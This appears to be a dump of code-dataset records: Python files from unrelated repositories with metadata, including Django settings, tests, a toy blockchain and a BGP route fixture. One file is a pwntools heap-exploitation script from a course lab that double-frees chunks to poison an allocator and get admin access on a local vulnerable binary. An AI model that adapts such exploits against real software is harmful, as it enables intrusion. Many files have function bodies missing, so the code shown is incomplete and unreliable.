"RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "6623", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933500", }, "172.16.100.4/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5462", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933534", }, "172.16.100.5/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5461", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933533", }, "172.16.100.6/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5460", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933532", }, "172.16.100.7/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "5459", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933531", }, "172.16.100.8/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2906", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933543", }, "172.16.100.9/32": { "available_path": "1", "best_path": "1", "index": { 1: { "ext_community": "RT:5918:50", "gateway": "192.168.10.253", "localpref": 100, "metric": 0, "mpls_labels": { "in": "2905", "out": "nolabel", }, "next_hop": "192.168.10.253", "next_hop_via": "vrf L3VPN-0050", "origin_codes": "?", "originator": "192.168.10.253", "recipient_pathid": "0", "refresh_epoch": 1, "route_info": "62000", "status_codes": "*>", "transfer_pathid": "0x0", "update_group": 724, } }, "paths": "1 available, best #1, table L3VPN-0050", "table_version": "16933542", }, }, "route_distinguisher": "5918:50", } } } } } } }

60.936994

86

0.203084

ddf4a85d16651173e5cecae5af1d1cdea3c48b47

154

py

Python

pages/apps.py

slideclimb/django-template

c489c118c47fe3510f7d5a36781d2d8835ef5ba6

[ "MIT" ]

2

2019-07-11T08:24:20.000Z

2021-09-16T22:08:42.000Z

pages/apps.py

slideclimb/django-template

c489c118c47fe3510f7d5a36781d2d8835ef5ba6

[ "MIT" ]

3

2021-06-09T17:17:16.000Z

2021-06-10T17:25:04.000Z

pages/apps.py

slideclimb/django-template

c489c118c47fe3510f7d5a36781d2d8835ef5ba6

[ "MIT" ]

1

2018-10-07T15:32:27.000Z

""" This file is here to register apps. """ from django.apps import AppConfig

19.25

43

0.655844

ddf5245a022beb682381f18774e07b7d784a9065

1,150

py

Python

Tests/test_protected_views.py

ShavImigne/PlayChess

1eb0dcaf1d58b02bdc880f8e51857a87696ee461

[ "MIT" ]

12

2018-05-02T13:13:41.000Z

2022-03-13T15:37:29.000Z

Tests/test_protected_views.py

ShavImigne/PlayChess

1eb0dcaf1d58b02bdc880f8e51857a87696ee461

[ "MIT" ]

24

2018-05-03T13:06:56.000Z

2019-08-13T14:49:03.000Z

Tests/test_protected_views.py

ShavImigne/PlayChess

1eb0dcaf1d58b02bdc880f8e51857a87696ee461

[ "MIT" ]

17

2018-05-03T13:46:40.000Z

2021-06-26T13:57:05.000Z

from .client import client from .config import db_pass, db_user import string import random

41.071429

112

0.736522

ddf773cd5e3b923f5c8398a0b49c16c0818baa89

1,575

py

Python

Tiny-Blockchain/Blockchain.py

gusjasponde/Tiny-Blockchain

e1abe11f70b845cc461afd329c54d5d7d79fd9c8

[ "MIT" ]

2

2021-04-17T17:36:45.000Z

2021-06-22T21:48:54.000Z

Tiny-Blockchain/Blockchain.py

gusjasponde/Tiny-Blockchain

e1abe11f70b845cc461afd329c54d5d7d79fd9c8

[ "MIT" ]

null

Tiny-Blockchain/Blockchain.py

gusjasponde/Tiny-Blockchain

e1abe11f70b845cc461afd329c54d5d7d79fd9c8

[ "MIT" ]

1

2017-10-24T00:53:49.000Z

import hashlib import json import datetime import Util #Defining the block into our blockchain #Genesis block creator def create_genesis_block(): return Block(0, datetime.datetime.now(), "Genesis block", "0") def next_block(last_block): this_data = json.dumps({ "proof-of-work": last_block.index + 1, "transactions": "Initial block" }) return Block(last_block.index + 1, datetime.datetime.now(), this_data, last_block.hash) #Code for running the blockchain blockchain = [create_genesis_block()] previous_block = blockchain[0] genesis_blocks_qty = 10 #adding blocks in the whole chain for i in range(0, genesis_blocks_qty): block_to_add = next_block(previous_block) blockchain.append(block_to_add) previous_block = block_to_add print "Block #",block_to_add.index," added" print "Hash: ",block_to_add.hash

30.288462

129

0.675556

ddf791c1dd4726087d87f8647d381ae32e01c53c

437

py

Python

6. Heap exploitation/exploit_3.py

MBWlodarczyk/bso_project

a4620fb18d7f789d917627232dc85ef9bcad7e3d

[ "MIT" ]

null

6. Heap exploitation/exploit_3.py

MBWlodarczyk/bso_project

a4620fb18d7f789d917627232dc85ef9bcad7e3d

[ "MIT" ]

null

6. Heap exploitation/exploit_3.py

MBWlodarczyk/bso_project

a4620fb18d7f789d917627232dc85ef9bcad7e3d

[ "MIT" ]

1

2021-05-27T22:04:35.000Z

from pwn import * p = process("./vuln_3.o") gdb.attach(p) for i in range(8): malloc('a') malloc('a') malloc('a') for i in range(9): free(i-1) free(8) free(9) free(8) for i in range(8): malloc('a') malloc('\x48\xc0\x04\x08') malloc('1') malloc('1') p.sendlineafter('>> ','1 ' +'admin') p.interactive()

11.5

40

0.567506

ddf7f46a03e2f875d36d3fadd6c70b90528b78f0

1,202

py

Python

setup.py

originell/sentry-twilio

716c444649b38b68f9d6a02986de090bb7e580b9

[ "MIT" ]

null

setup.py

originell/sentry-twilio

716c444649b38b68f9d6a02986de090bb7e580b9

[ "MIT" ]

1

2017-02-01T16:49:25.000Z

setup.py

originell/sentry-twilio

716c444649b38b68f9d6a02986de090bb7e580b9

[ "MIT" ]

null

#!/usr/bin/env python """ sentry-twilio ============= Sentry Notification plugin for Twilio Programmable SMS. :copyright: 2017 Luis Nell. :license: MIT, see LICENSE for more details. """ from __future__ import absolute_import from setuptools import setup, find_packages VERSION = '1.0' install_requires = [ 'twilio==6.0.0rc10', ] setup( name='sentry-twilio', version=VERSION, author='Luis Nell', author_email='luis.nell@simpleloop.com', url='https://github.com/originell/sentry-twilio', description='Sentry Notification plugin for Twilio Programmable SMS.', long_description=__doc__, license='MIT', package_dir={'': 'src'}, packages=find_packages('src'), zip_safe=False, install_requires=install_requires, include_package_data=True, entry_points={ 'sentry.apps': [ 'twilio = sentry_twilio', ], 'sentry.plugins': [ 'twilio = sentry_twilio.plugin:TwilioPlugin', ], }, classifiers=[ 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Operating System :: OS Independent', 'Topic :: Software Development' ], )

24.04

74

0.645591

ddf8e32544c5c3cd5719527188568b3163339c08

3,146

py

Python

tests/test_refresh_subscription.py

Fak3/websubsub

f7ca8953197104483b152367c716028d841facbb

[ "MIT" ]

4

2018-03-18T03:44:24.000Z

2019-08-10T00:40:54.000Z

tests/test_refresh_subscription.py

Fak3/websubsub

f7ca8953197104483b152367c716028d841facbb

[ "MIT" ]

9

2020-02-12T13:38:38.000Z

2021-06-02T01:03:43.000Z

tests/test_refresh_subscription.py

Fak3/websubsub

f7ca8953197104483b152367c716028d841facbb

[ "MIT" ]

2

2019-08-10T00:41:00.000Z

2020-02-09T10:09:59.000Z

import re from datetime import timedelta import responses from django.test import override_settings from django.utils.timezone import now from model_mommy.mommy import make from websubsub.models import Subscription from websubsub.tasks import refresh_subscriptions, retry_failed from .base import BaseTestCase, method_url_body

35.75

92

0.61602

ddf9fcd921f244664cbca84e5f6bac067c77d492

281

py

Python

ares/physics/__init__.py

astrojhgu/ares

42008c8e4bf79f0b000cc833e02a86510bce7611

[ "MIT" ]

1

2019-01-04T15:13:18.000Z

ares/physics/__init__.py

astrojhgu/ares

42008c8e4bf79f0b000cc833e02a86510bce7611

[ "MIT" ]

null

ares/physics/__init__.py

astrojhgu/ares

42008c8e4bf79f0b000cc833e02a86510bce7611

[ "MIT" ]

null

import Constants from .Hydrogen import Hydrogen from .Cosmology import Cosmology from .HaloMassFunction import HaloMassFunction from .RateCoefficients import RateCoefficients from .SecondaryElectrons import SecondaryElectrons from .CrossSections import PhotoIonizationCrossSection

35.125

54

0.886121

ddfc5813cf287a659f99142896404836acf1a2ad

9,452

py

Python

src/agents/base.py

anindex/drqn-study

ab357178bbe6a1e09eda0f19583e8e8444bf4a54

[ "MIT" ]

null

src/agents/base.py

anindex/drqn-study

ab357178bbe6a1e09eda0f19583e8e8444bf4a54

[ "MIT" ]

null

src/agents/base.py

anindex/drqn-study

ab357178bbe6a1e09eda0f19583e8e8444bf4a54

[ "MIT" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function import logging import numpy as np import random from collections import deque import torch from os.path import exists from torch.nn.functional import smooth_l1_loss, mse_loss # noqa from torch.optim import Adam, Adagrad, RMSprop # noqa from tensorboardX import SummaryWriter

44.375587

167

0.643779

ddfd26bd635a43dc9642fa41b92d7f6a9fd3de78

1,449

py

Python

mongo_commander/widgets.py

thieman/mongo_commander

407cccb1abdf16b3eb07f813f5dd5d9152930f4d

[ "MIT" ]

2

2015-02-22T04:52:22.000Z

2018-12-14T10:33:25.000Z

mongo_commander/widgets.py

thieman/mongo_commander

407cccb1abdf16b3eb07f813f5dd5d9152930f4d

[ "MIT" ]

null

mongo_commander/widgets.py

thieman/mongo_commander

407cccb1abdf16b3eb07f813f5dd5d9152930f4d

[ "MIT" ]

null

"""Widgets abstract out common View rendering patterns like displaying a list of logging messages or a bar chart. They typically take the ClusterData object, a window, and a list of keys they should care about from ClusterData. They then draw directly onto the window.""" from operator import itemgetter from .curses_util import movedown, movex

39.162162

99

0.655625

ddfe5b6a2bd63f44708eacd4d1f196837c88804e

958

py

Python

tests/feature_propagation_test.py

emalgorithm/feature-propagation

de9ec54d5c035abe8d52d6ac4079156cc537e489

[ "Apache-2.0" ]

20

2022-03-09T00:06:23.000Z

2022-03-18T09:59:36.000Z

tests/feature_propagation_test.py

emalgorithm/feature-propagation

de9ec54d5c035abe8d52d6ac4079156cc537e489

[ "Apache-2.0" ]

2

2022-03-14T22:00:58.000Z

2022-03-21T02:11:50.000Z

tests/feature_propagation_test.py

twitter-research/feature-propagation

af2733589eab4023fca67f7e71a3b46ddbbea8cd

[ "Apache-2.0" ]

3

2022-03-09T05:36:53.000Z

2022-03-11T13:53:45.000Z

""" Copyright 2020 Twitter, Inc. SPDX-License-Identifier: Apache-2.0 """ import unittest import math import torch from feature_propagation import FeaturePropagation if __name__ == "__main__": unittest.main()

29.9375

114

0.59499

ddfeb380f562b06f02d54e1879c575812aad04dd

1,282

py

Python

publication_backbone/views/promotion.py

Excentrics/publication-backbone

65c9820308b09a6ae1086c265f8d49e36f3724b9

[ "BSD-3-Clause" ]

6

2016-05-19T14:59:51.000Z

2020-03-19T10:08:29.000Z

publication_backbone/views/promotion.py

Excentrics/publication-backbone

65c9820308b09a6ae1086c265f8d49e36f3724b9

[ "BSD-3-Clause" ]

null

publication_backbone/views/promotion.py

Excentrics/publication-backbone

65c9820308b09a6ae1086c265f8d49e36f3724b9

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- from publication_backbone.views.publication import PublicationListHybridView from publication_backbone import conf as config #============================================================================== # PromotionListHybridView #==============================================================================

42.733333

132

0.620125

ddff02eefab9048a47d0d1a8a7f90b6f135ea01d

2,427

py

Python

tests/test_file.py

gaiadhi/traDSSAT

1d5615dbd4965bab5c2740134c706c1748ff5fae

[ "MIT" ]

6

2020-10-05T11:50:37.000Z

2022-02-24T08:36:22.000Z

tests/test_file.py

gaiadhi/traDSSAT

1d5615dbd4965bab5c2740134c706c1748ff5fae

[ "MIT" ]

23

2018-11-08T19:16:36.000Z

2021-07-20T23:34:18.000Z

tests/test_file.py

gaiadhi/traDSSAT

1d5615dbd4965bab5c2740134c706c1748ff5fae

[ "MIT" ]

9

2018-11-06T21:04:07.000Z

2021-06-19T05:43:24.000Z

import os import unittest import numpy.testing as npt from tradssat import SoilFile, WTHFile, MTHFile, ExpFile, CULFile, ECOFile, DSSATResults from tradssat.out import SoilTempOut, SoilNiOut, SummaryOut, PlantGroOut, ETOut, SoilWatOut, MulchOut from tests.utils import _test_read, _test_write, rsrcs, read_json, get_ref_var input_classes = [SoilFile, WTHFile, MTHFile, ExpFile, CULFile, ECOFile] rsrcs_out = os.path.join(rsrcs, 'Out') output_classes = [PlantGroOut, SoilNiOut, SoilTempOut, SoilWatOut, MulchOut, ETOut] final_out_classes = [SummaryOut] # Inputs must be read and written # Outputs are only read, not written

35.173913

101

0.689328

fb00206f76f0396ffc60257de95610a6a4ddebea

2,840

py

Python

airflow_spark_k8s/hooks/kubernetes.py

roitvt/airflow-spark-k8s

cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206

[ "Apache-2.0" ]

2

2020-04-26T11:12:11.000Z

2020-09-14T16:36:42.000Z

airflow_spark_k8s/hooks/kubernetes.py

roitvt/airflow-spark-k8s

cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206

[ "Apache-2.0" ]

1

2020-04-14T18:20:20.000Z

2020-04-14T18:26:27.000Z

airflow_spark_k8s/hooks/kubernetes.py

roitvt/airflow-spark-k8s

cd2a0ec63e1fb9ad43beb725a65e4d65a4d85206

[ "Apache-2.0" ]

null

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import tempfile from kubernetes import client, config from airflow.hooks.base_hook import BaseHook

37.866667

109

0.679225

fb00a41d3f7f3756cedf6911bccc4f0b80b7ea08

325

py

Python

tests/test_main.py

david-kirby/gh-action-docs

b231d14b0b629b4f308eba6cff50a35a98c9f521

[ "MIT" ]

1

2021-03-21T14:31:46.000Z

tests/test_main.py

david-kirby/gh-action-docs

b231d14b0b629b4f308eba6cff50a35a98c9f521

[ "MIT" ]

null

tests/test_main.py

david-kirby/gh-action-docs

b231d14b0b629b4f308eba6cff50a35a98c9f521

[ "MIT" ]

null

import logging import unittest from src.gh_action_docs import app logging.disable(logging.CRITICAL) if __name__ == "__main__": unittest.main()

20.3125

57

0.747692

fb00e00f9183ef8f33d3c9279268db8384609198

2,785

py

Python

astwro/tools/pickstat.py

majkelx/astwro

4a9bbe3e4757c4076ad7c0d90cf08e38dab4e794

[ "MIT" ]

6

2017-06-15T20:34:51.000Z

2020-04-15T14:21:43.000Z

astwro/tools/pickstat.py

majkelx/astwro

4a9bbe3e4757c4076ad7c0d90cf08e38dab4e794

[ "MIT" ]

18

2017-08-15T20:53:55.000Z

2020-10-05T23:40:34.000Z

astwro/tools/pickstat.py

majkelx/astwro

4a9bbe3e4757c4076ad7c0d90cf08e38dab4e794

[ "MIT" ]

2

2017-11-06T15:33:53.000Z

2020-10-02T21:06:05.000Z

#! /usr/bin/env python # coding=utf-8 from __future__ import print_function, division from scipy.stats import sigmaclip from astwro.pydaophot import daophot from astwro.pydaophot import fname from astwro.pydaophot import allstar from astwro.starlist import read_dao_file from astwro.starlist import write_ds9_regions import __commons as commons # TODO: expand this script to (optionally) leave result files - make it allstar runner # TODO: implement creating ds9 region (why? or remove that option) # Below: standard skeleton for astwro.tools if __name__ == '__main__': __args = __arg_parser().parse_args() print(__do(__args))

34.8125

99

0.65386

fb0391e58115974e49fe694882ae6ffe7af0d172

2,330

py

Python

5.4/IPheaderChecksum.py

Fecer/Computer-Networks

fe4fc5bd1af7f2957aee407675cb018fa83c6735

[ "MIT" ]

null

5.4/IPheaderChecksum.py

Fecer/Computer-Networks

fe4fc5bd1af7f2957aee407675cb018fa83c6735

[ "MIT" ]

null

5.4/IPheaderChecksum.py

Fecer/Computer-Networks

fe4fc5bd1af7f2957aee407675cb018fa83c6735

[ "MIT" ]

null

from xml.dom.minidom import parse if __name__ == '__main__': # DOMTree = parse("config.xml") collection = DOMTree.documentElement header = collection.getElementsByTagName('header')[0].childNodes[0].data printLine() print('Header:\n', header) printLine() version = header[:1] print('Version:\n', version) printLine() headerLen = header[1:2] print('Header Length:\n', headerLen) printLine() service = header[2:4] print('Differentiated Services Field:\n', service) printLine() totalLen = header[4:8] totalLen = int(totalLen, 16) print('Total Length:\n', totalLen) printLine() id = header[8:12] id = int(id, 16) print('Identification:\n', id) printLine() flags = header[12:16] flags = int(flags, 16) print('Flags and Offset:\n', flags) printLine() ttl = header[16:18] ttl = int(ttl, 16) print('Time to live:\n', ttl) printLine() protocol = header[18:20] protocol = int(protocol, 16) print('Protocol:\n', protocol) printLine() checksum = header[20:24] checksum = int(checksum, 16) print('Checksum in header:\n', checksum, '(' + header[20:24] + ')') printLine() source = header[24:32] a = str(int(source[0:2], 16)) b = str(int(source[2:4], 16)) c = str(int(source[4:6], 16)) d = str(int(source[6:8], 16)) print('Source IP:\n', a+'.'+b+'.'+c+'.'+d) printLine() dest = header[32:40] a = str(int(dest[0:2], 16)) b = str(int(dest[2:4], 16)) c = str(int(dest[4:6], 16)) d = str(int(dest[6:8], 16)) print('Destination IP:\n', a + '.' + b + '.' + c + '.' + d) printLine() a = int(header[0:4], 16) b = int(header[4:8], 16) c = int(header[8:12], 16) d = int(header[12:16], 16) e = int(header[16:20], 16) f = int(header[24:28], 16) g = int(header[28:32], 16) h = int(header[32:36], 16) i = int(header[36:40], 16) res1 = hex(a + b + c + d + e + f + g + h + i) opnd1 = str(res1)[2:3] opnd2 = str(res1)[3:7] res2 = int(opnd1, 16) + int(opnd2, 16) all = int('ffff', 16) res2 = all - res2 checksum2 = res2 print('Checksum by calculated:') print('0x%04x' % checksum2)

24.526316

76

0.546781

fb04b4d690c1875517b3d05188b4d5a597035143

865

py

Python

server/src/dixit/game/test/player.py

rcjsuen/dixit-online

e7a1c9b5b1a2a92160c6d90397adaa81ddcae91a

[ "MIT" ]

75

2016-08-05T10:37:32.000Z

2022-01-27T17:05:50.000Z

server/src/dixit/game/test/player.py

rcjsuen/dixit-online

e7a1c9b5b1a2a92160c6d90397adaa81ddcae91a

[ "MIT" ]

15

2020-03-19T16:27:59.000Z

2022-02-13T08:41:54.000Z

server/src/dixit/game/test/player.py

rcjsuen/dixit-online

e7a1c9b5b1a2a92160c6d90397adaa81ddcae91a

[ "MIT" ]

27

2018-02-27T13:32:46.000Z

2021-12-26T06:42:08.000Z

from django.test import TestCase from django.contrib.auth.models import User from dixit import settings from dixit.game.models.game import Game, GameStatus from dixit.game.models.player import Player

36.041667

101

0.719075

fb065d69e3fc3e1cb562662179076e51434cc538

7,933

py

Python

portality/settings.py

genonfire/portality

1d94382fa0e6685f106ae18d4a44f4f4b5946771

[ "MIT" ]

2

2018-01-16T04:01:57.000Z

2020-04-06T14:07:11.000Z

portality/settings.py

genonfire/portality

1d94382fa0e6685f106ae18d4a44f4f4b5946771

[ "MIT" ]

null

portality/settings.py

genonfire/portality

1d94382fa0e6685f106ae18d4a44f4f4b5946771

[ "MIT" ]

1

2017-12-31T02:45:38.000Z

# -*- coding: utf-8 -*- """ Django settings for portality project. Generated by 'django-admin startproject' using Django 1.8.17. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) from collections import namedtuple import json import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Theme THEME = 'haru' TEMPLATES_DIR = os.path.join(BASE_DIR, 'templates') THEME_DIR = os.path.join(BASE_DIR, 'templates', THEME) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/ # SECURITY WARNING: don't run with debug turned on in production! DEBUG = False if 'DJANGO_DEBUG' in os.environ: if (os.environ['DJANGO_DEBUG'] == 'Debug'): DEBUG = True ALLOWED_HOSTS = ['nolooknews.com', 'gencode.me', 'localhost'] # Application definition DJANGO_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ) THIRD_PARTY_APPS = ( 'rest_framework', 'graphos', # 'allauth', # 'allauth.account', # 'allauth.socialaccount', # 'allauth.socialaccount.providers.naver', ) EDITOR_APPS = ( ) LOCAL_APPS = ( 'core', 'giza', 'issue', 'accounts', ) INSTALLED_APPS = DJANGO_APPS + THIRD_PARTY_APPS + EDITOR_APPS + LOCAL_APPS # SITE_ID = 1 MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', ) ROOT_URLCONF = 'portality.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ os.path.join(THEME_DIR), os.path.join(TEMPLATES_DIR), ], 'OPTIONS': { 'debug': DEBUG, 'loaders': [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ], 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'core.context_processors.global_settings', # 'django.template.context_processors.request', ], }, }, ] WSGI_APPLICATION = 'portality.wsgi.application' try: with open(os.path.join(BASE_DIR, "secrets.json")) as f: data = json.loads(f.read()) SecretsNamedTuple = namedtuple('SecretsNamedTuple', data.keys(), verbose=False) secrets = SecretsNamedTuple(*[data[x] for x in data.keys()]) SECRET_KEY = getattr(secrets, "SECRET_KEY") DB_NAME = getattr(secrets, "DB_NAME") DB_USER = getattr(secrets, "DB_USER") DB_PASSWORD = getattr(secrets, "DB_PASSWORD") EMAIL_HOST = getattr(secrets, "EMAIL_HOST") EMAIL_HOST_USER = getattr(secrets, "EMAIL_HOST_USER") EMAIL_HOST_PASSWORD = getattr(secrets, "EMAIL_HOST_PASSWORD") DEFAUL_FROM_EMAIL = getattr(secrets, "DEFAUL_FROM_EMAIL") SERVER_EMAIL = getattr(secrets, "SERVER_EMAIL") except IOError: SECRET_KEY = 'k8n13h0y@$=v$uxg*^brlv9$#hm8w7nye6km!shc*&bkgkcd*p' DB_NAME = '' DB_USER = '' DB_PASSWORD = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' DEFAUL_FROM_EMAIL = '' SERVER_EMAIL = '' EMAIL_PORT = 587 EMAIL_USE_TLS = True EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend' # Database # https://docs.djangoproject.com/en/1.8/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': DB_NAME, 'USER': DB_USER, 'PASSWORD': DB_PASSWORD, 'HOST': 'localhost', 'PORT': '', } } REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly' ] } AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', # 'allauth.account.auth_backends.AuthenticationBackend' ) # Internationalization # https://docs.djangoproject.com/en/1.8/topics/i18n/ LANGUAGE_CODE = 'ko-KR' TIME_ZONE = 'Asia/Seoul' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_URL = '/assets/' STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static'), ) MEDIA_URL = '/upload/' MEDIA_ROOT = os.path.join(BASE_DIR, 'upload') LOGIN_REDIRECT_URL = 'login' # Setting for ranking RANKING_START_YEAR = 2017 RANKING_START_MONTH = 5 RANKING_DATE_DELTA = 7 # () RANKING_LIST_LIMIT = 10 # # Setting for today HOTISSUE_LIMIT = 20 # HOTISSUE_DATE_DELTA = 7 # () # SEtting for Burst Call POINT_MAX = 50 # point max BURST_CALL_MIN_POINT = 10 # BURST_CALL_ACOM = 1 # acom for burster call # Setting for best BEST_LIST_LIMIT = 20 # BEST_THRESHOLD = 20 # # Setting for issue FILTER_DATE_DELTA = 7 # () MEDIA_CHOICE = ( # ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('KBS', 'KBS'), ('MBC', 'MBC'), ('SBS', 'SBS'), ('TV', 'TV'), ('A', 'A'), ('JTBC', 'JTBC'), ('MBN', 'MBN'), ('YTN', 'YTN'), ('', ''), ('', ''), ('1', '1'), ('', ''), ('', ''), ('CBS', 'CBS'), ('NewBC', 'NewBC'), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('21', '21'), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('iN', 'iN'), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('ZDNet', 'ZDNet'), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ('', ''), ) GIZA_IMAGE_SIZE_LIMIT = 100 * 1024 # ABOUT_LINK = "/assets/html/howto_newissue.html" LOGO_NAME = "/assets/images/nolooknews.png" NEWBC_LINK = "http://newbc.kr/bbs/board.php?bo_table=nolook" NEWBC_IMG = "/assets/images/newbc.png" NEWBC_IMG_SMALL = "/assets/images/newbc-small.png" # Admin information ADMIN_EMAIL = 'gencode.me@gmail.com' ADMIN_TWITTER = 'https://twitter.com/nolooknews' FOOTER_TAGS = '<li><a href="%s"> </a></li>\ <li> : %s</li>\ <li>, </li>\ <li><a href="mailto:%s"><img src="/assets/icons/email24.png"></a></li>\ <li><a href="%s"><img src="/assets/icons/twitter24.png" target="_blank"></a></li>'\ % (ABOUT_LINK, THEME, ADMIN_EMAIL, ADMIN_TWITTER)

27.167808

83

0.63343

fb07a87646537aa7d24a8747c95b7298fca053cd

98

py

Python

backup_codes/apps.py

biligunb/portal-web-app

cd10cda3d8bfc8f055a268e14f9665f142051c90

[ "MIT" ]

null

backup_codes/apps.py

biligunb/portal-web-app

cd10cda3d8bfc8f055a268e14f9665f142051c90

[ "MIT" ]

null

backup_codes/apps.py

biligunb/portal-web-app

cd10cda3d8bfc8f055a268e14f9665f142051c90

[ "MIT" ]

null

from django.apps import AppConfig

16.333333

35

0.77551

fb07d1f256a2f6d7a6cc9dbdf801ef7f4558d52a

323

py

Python

TP_ALGO_3/convert.py

PierreLeGuen/ALGO_S5

9067e887d14fe997c6944292a0cff23ceda47b6e

[ "MIT" ]

null

TP_ALGO_3/convert.py

PierreLeGuen/ALGO_S5

9067e887d14fe997c6944292a0cff23ceda47b6e

[ "MIT" ]

null

TP_ALGO_3/convert.py

PierreLeGuen/ALGO_S5

9067e887d14fe997c6944292a0cff23ceda47b6e

[ "MIT" ]

null

print(convert(10,2)) print(convert_inv(10,2))

16.15

49

0.544892

fb083e9034d5ab0e5ac6315a7e5ffb3f614cc66e

1,029

py

Python

tests/motors/spikebase_tank1.py

cschlack/pybricks-micropython

0abfd2918267a4e6e7a04062976ac1bb3da1f4b1

[ "MIT" ]

1

2021-12-27T00:09:37.000Z

tests/motors/spikebase_tank1.py

cschlack/pybricks-micropython

0abfd2918267a4e6e7a04062976ac1bb3da1f4b1

[ "MIT" ]

null

